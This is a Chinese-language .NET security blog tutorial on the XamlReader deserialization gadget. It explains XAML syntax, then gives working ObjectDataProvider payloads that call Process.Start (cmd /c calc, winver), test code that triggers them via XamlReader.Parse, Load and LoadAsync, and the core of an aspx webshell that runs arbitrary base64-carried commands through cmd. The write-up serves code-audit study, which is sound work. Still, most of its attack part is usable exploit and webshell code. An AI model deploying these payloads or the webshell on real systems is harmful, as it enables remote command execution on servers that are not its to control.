.NET進階程式碼審計-還原序列化 Gadget之詳解XAML

.NET進階程式碼審計-還原序列化 Gadget之詳解XAML

.NET還原序列化漏洞 XmlSerializer核心Gadget:XamlReader

最後更新 2022/5/29 上午9:38
Ivan1ee dotNet安全矩阵
預計閱讀 10 分鐘
分類
.NET
標籤
.NET C# XAML

0x01 背景

.NET 反序列化漏洞 XmlSerializer核心 Gadget:XamlReader,封裝於 WPF 核心程式集之一 PresentationFramework.dll,處於 System.Windows.Markup 命名空間下,提供了 XamlReader 和 XamlWriter 兩個公開類別,XamlReader 類別提供的底層 Load 方法可解析 XAML 字元串流資料實現建立的.NET 物件實例,還提供了上層封裝方法 XamlReader.Parse 用於直接解析 XAML 字串,XmlSerializer 反序列化鏈路就是基於此方法達成指令執行。既然脫離不了 XAML,那麼就跟隨筆者初步認識一下 XAML,學習相關的基本知識。

0x02 XAML 入門

WPF 是用於替代 Windows Form 來建立 Windows 用戶端的應用程式,和 Web 專案一樣遵從前端佈局和後端程式碼實現分離的原則,Web 專案前端通常是 HTML,而 XAML 是用作 WPF 專案前端介面開發,XAML 的全稱是 Extensible Application Markup Language 基於通用 XML 語法用於實例化 .NET 物件的標記語言。XAML 文件中的每個元素都映射為.NET 類別的一個實例,如根元素<Window>表示 WPF 建立 Window 物件,另外根元素還有<Application><Page><UserControl>,事實上XAML在編譯時也會編成C#類別,所以界面對應的.cs 檔案內的後台程式碼內要宣告 partial 關鍵字,從而達到在編譯的時候 UI 介面和運行邏輯程式碼合在一起的狀態。如下最基本的 XAML 程式碼

<Window x:Class="WpfApplication1.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:sys="clr-namespace:System;assembly=mscorlib"
        Title="MainWindow" Height="300" Width="300">
    <ListBox>
        <ListBoxItem>
            <sys:String>歡迎關注dotNet安全矩陣</sys:String>
        </ListBoxItem>
    </ListBox>
</Window>

上述包含 Window 元素以及 Grid 元素,Window 元素代表整個視窗,Grid 可以放置所有的控制項。總體結構其實是一個視窗物件內嵌套一個 Grid 物件。x:Class 代表後端的命名空間和類別名稱,這樣的好處在於將 WPF 裡的前端 XAML 和後端實作程式碼分開維護,xmlns 全拼是:XML namespace,即 XML 命名空間,xmlns 後面可以跟一個可選映射前綴 x,兩者之間用冒號分割,另外還宣告了兩個 xmlns 名稱空間,如下表

上面列表的網址分別是什麼意思呢?這裡是 XAML 解析器的硬性約定,http://schemas.microsoft.com/winfx/2006/xaml/presentation 表示引入 WPF 核心程式集 PresentationFramework,例如常見的 System.Windows.Data 命名空間,http://schemas.microsoft.com/winfx/2006/xaml 表示引入另外核心程式集 System.Xaml,例如常用的 Windows.Markup, 反編譯後可見 如圖

另外還有xmlns:sys="clr-namespace:System;assembly=mscorlib" 表示將 sys 前綴 映射到.NET 基類庫System.String名稱空間,後續用<sys:String>取得字串類型,類似若想引入其他.NET 程式集支援的基類,參考如下語法 xmlns:Prefix="clr-namespace:Namespace;assembly=AssemblyName",例如反序列化攻擊載荷常用的Diagnostics.Process類別所在的程式集:xmlns:c="clr-namespace:System.Diagnostics;assembly=system"

0x03 X:指令

筆者建立的專案名ObjectDataProvider有一定迷惑性,這裡說明下和反序列化用到的 ObjectDataProvider 類別毫無關聯,下表是常見的幾種 x: 空間指令含義

x:Class 前面已說過不再贅述,而 x:Key 表示檢索資源檔案中所需元素的鍵名,x:Type 表示 CLR 提供的資料類型,在 XAML 裡可以認為是引用某個命名空間下的類別,x:Static 引用後端類別裡定義的靜態欄位,x:Code 可在 XAML 裡執行 C#程式碼彈出計算機,例如在表單Loaded事件指定觸發的方法名為: Window_Loaded

<x:Code>
        <![CDATA[
        private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            System.Diagnostics.Process.Start("calc");
        }
        ]]>
</x:Code>

藉助下圖筆者把很多概念都畫到了圖裡面,希望幫助讀者有更加直觀的了解,下圖中 x:Type 簡單的理解就是在 XAML 中想使用某種資料類型時就得用它,比如從自定義的命名空間xmlns:process裡呼叫Process類別,另外 xmlns:local="clr-namespace:ObjectDataProvider" 將本地專案空間名ObjectDataProvider 映射到前綴 xmlns:local

上圖中 x:Type 簡單的理解就是在 XAML 中想使用某種資料類型時就得用它,比如從自定義的命名空間xmlns:process裡呼叫Process類別,另外 xmlns:local="clr-namespace:ObjectDataProvider" 將本地專案空間名ObjectDataProvider 映射到前綴 xmlns:local

0x04 簡化載荷

在第 12 課裡已經詳細的介紹過資源字典(ResourceDictionary)功能上以鍵值對的形式儲存資源,並且可儲存任意類型的物件。預設視窗設計器會建立 Window.Resources 標籤,筆者添加兩個資源項,一個是 String 類型、一個是 Double 類型,最後以靜態方式讀取資源繫結到 TextBlock 控制項

當資源太多需要集中儲存時就用 ResourceDictionary,可以單獨將各個資源保存在每個檔案中,用 ResourceDictionary.MergeDictionaries 合併到一起使用

<ResourceDictionary>
    <ResourceDictionary.MergedDictionaries>
        <ResourceDictionary Source="Dic1.xaml"/>
        <ResourceDictionary Source="Dic2.xaml"/>
    </ResourceDictionary.MergedDictionaries>
 </ResourceDictionary>

如果在頂層容器裡沒有找到 Window.Resources,程式還會繼續上升到 Application.Resources 去尋找資源,所以我們把惡意程式碼引入到 Application.Resources 也可以被呼叫運行。結合 XmlSerialize 反序列化給出的 Payload 看一下 XAML,是不是感覺容易多了?

<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>]]>

clr-namespace:System.Diagnostics 程式集是必須的,需要靠它呼叫 Process 類別啟動新進程。但還可以進一步簡化,clr-namespace:System 因為不是必須的所以對應的名稱空間 xmlns:b 可以不用,MethodParameters 也就無需再使用<b:String>元素,另外<ResourceDictionary>也可以用<Window.Resources> 或者 <Application.Resources><Grid>控制項去替代,程式碼如下

<Grid xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <Grid.Resources>
        <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
            <ObjectDataProvider.MethodParameters>calc</ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    </Grid.Resources>
</Grid>

0x05 攻擊面

XamlReader.Parse

ysoserial 在 XmlSerializer 反序列化鏈中使用 XamlReader.Parse 解析 XAML 字串並回傳新物件, 轉到定義可見有 2 個方法重載,官方文件有如下註明

Reads the XAML input in the specified text string and returns an object that corresponds to the root of the specified markup.

筆者建立測試案例儲存於 Dictionary2.xaml 如下程式碼,ObjectType="{x:Type TypeName=local:Process } 可省略 TypeName,另外資源檢索鍵名 ResourceKey 也可以省略,Source={StaticResource ResourceKey=obj}

<Window
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        mc:Ignorable="d"
        xmlns:local ="clr-namespace:System.Diagnostics;assembly=System"
        Title="MainWindow" Height="450" Width="800">
    <Window.Resources>
        <ObjectDataProvider x:Key="obj" ObjectType="{x:Type local:Process }" MethodName="Start">
            <ObjectDataProvider.MethodParameters>"winver"</ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    </Window.Resources>
    <Grid DataContext="{Binding Source={StaticResource obj}}">
        <Button Content="Button" HorizontalAlignment="Left" Margin="300.085,187.924,0,0" VerticalAlignment="Top" Width="139.599" Height="45.517"/>
    </Grid>
</Window>
string xml = File.ReadAllText("../../Dictionary2.xaml");
XamlReader.Parse(xml);

上述程式碼運行後追蹤呼叫堆疊,發現呼叫了多個 Load 方法,注意到呼叫了 WpfXamlLoader 類別的 Load 方法,發現是一個內部實作的類別,不能直接在外部所用,只能透過 XamlReader.Loader 方法去實現呼叫

XamlReader.LoadAsync

XamlReader 類別提供了 3 種 Load 重載,另外還提供了 LoadAsync 非同步方法,用於在大檔案資料傳輸不影響程式主執行緒,可直接載入流轉換為物件

//Test:Load
string xml = File.ReadAllText("../../Dictionary2.xaml");
MemoryStream ms = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader.Load(ms);

//Test:LoadAsync
MemoryStream ms0 = new MemoryStream(System.Text.Encoding.Default.GetBytes(xml));
XamlReader xamlReader = new XamlReader();
xamlReader.LoadAsync(ms0);

0x06 WebShell

為了增強程式的可操作性,筆者改用 aspx 頁面編寫風險檢查智慧助手,同時設計了主機進程、主機資訊收集、主機目錄檔案存取等功能,內部採用 Base64 編碼和解碼的解析方式運行,這樣的好處在於對 URL 特殊字串的處置,啟動Process類別呼叫cmd.exe/c winver.exe 執行指令,核心程式碼和頁面使用者體驗介面如下程式

public static void CodeInject(string input)
{
    string ExecCode = EncodeBase64("utf-8", input);
    StringBuilder strXMAL = new StringBuilder("<ResourceDictionary ");
    strXMAL.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");
    strXMAL.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");
    strXMAL.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");
    strXMAL.Append("xmlns:pro =\"clr-namespace:System.Diagnostics;assembly=System\">");
    strXMAL.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");
    strXMAL.Append("<ObjectDataProvider.MethodParameters>");
    strXMAL.Append("<b:String>cmd</b:String>");
    strXMAL.Append("<b:String>/c "+ DecodeBase64("utf-8",ExecCode) +"</b:String>");
    strXMAL.Append("</ObjectDataProvider.MethodParameters>");
    strXMAL.Append("</ObjectDataProvider>");
    strXMAL.Append("</ResourceDictionary>");
    XamlReader.Parse(strXMAL.ToString());
}

0x07 結語

有關 XamlReader 類別多個指令執行的方法希望未來不會被惡意濫用,好啦本文就介紹到此,文章涉及的 PDF 和 Demo 已打包發佈在星球,歡迎對.NET 安全關注和關心的同學加入我們,在這裡能遇到有情有義的小夥伴,大家聚在一起做一件有意義的事。

繼續探索

延伸閱讀

更多文章
同分類 / 同標籤 2026/2/7

AOT使用經驗總結

從專案建立伊始,就應養成良好的習慣,即只要添加了新功能或使用了較新的語法,就及時進行 AOT 發布測試。

繼續閱讀